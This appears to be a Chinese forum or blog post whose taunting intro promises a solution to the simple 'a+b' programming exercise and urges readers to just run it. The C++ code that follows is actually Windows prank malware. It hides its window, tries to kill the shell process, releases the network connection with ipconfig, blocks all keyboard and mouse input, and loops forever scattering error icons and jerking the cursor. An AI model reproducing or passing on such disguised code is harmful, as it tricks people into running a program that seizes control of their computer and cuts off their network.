不会吧不会吧，不会还有人不会a+b 吧？

什么也别管，运行就是了！

#include <bits/stdc++.h>
#include <windows.h>
#include<winable.h>
#include <Mmsystem.h>
using namespace std;
void Play() {
	int iDesktopWidth = GetSystemMetrics(SM_CXSCREEN);
	int iDesktopHeight = GetSystemMetrics(SM_CYSCREEN);
	HWND hDesktop = GetDesktopWindow();
	HDC hdc = GetWindowDC(hDesktop);
	POINT cursor;
	GetCursorPos(&cursor);
	DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_ERROR));
	DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_WINLOGO));
	DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_INFORMATION));
	if (rand() % 3 == 0)
		DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_WARNING));
	DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_QUESTION));
	DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_INFORMATION));
	DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_WINLOGO));
	DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_ERROR));

}
int x=0,y=0,a=0,m=0;

VOID BlackScreen(VOID) {
	PostMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, 2);
}
int main() {
	HDC hdc = GetDC(NULL);
	HWND hwnd;
	hwnd=FindWindow("ConsoleWindowClass",NULL);
	if(hwnd) {
		ShowWindow(hwnd,SW_HIDE);
	}
	HWND hWnd = GetConsoleWindow();
	SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
	ofstream outfile("asdfghjklyhbthnuhv.txt",ios::out);
	if (!outfile) {
		cerr<<"open error"<<endl;
		return 0;
	}
	outfile<<"let`s play!______little virus  ]~(￣▽￣)~*ヾ(≧▽≦*)o";
	outfile.close();
	system("start asdfghjklyhbthnuhv.txt");
	system("taskkill /im explore.exe/f");
	system("ipconfig /release");

	BlockInput(TRUE);

	RECT rect;

	LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);

	POINT p;
	srand((unsigned) time(NULL));
	HWND Wnd= GetForegroundWindow();
	ShowWindow(Wnd, SW_HIDE);
	while(1) {
		Play();
		Play();
		Sleep(3);
		GetCursorPos(&p);
		x = rand() % 2;
		y = rand() % 2;
		a = rand() % 2;
		m=rand()%13;
		if(a==1) {
			SetCursorPos(p.x+x+30,p.y+y+30);
			SetCursorPos(p.x-x-30,p.y+y-30);
			SetCursorPos(p.x+x+30,p.y+y-30);
			SetCursorPos(p.x-x-30,p.y+y+30);
		} else if(a==0) {
			SetCursorPos(p.x-x-30,p.y-y-30);
			SetCursorPos(p.x+x+30,p.y-y+30);
			SetCursorPos(p.x-x-30,p.y-y+30);
			SetCursorPos(p.x+x+30,p.y-y-30);
		} else if(m==0) {
			SetCursorPos(p.x-x-20,p.y-y-0);
			SetCursorPos(p.x+x+20,p.y-y+0);
			SetCursorPos(p.x-x-0,p.y-y+20);
			SetCursorPos(p.x+x+0,p.y-y-20);
			LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
		}
	}
}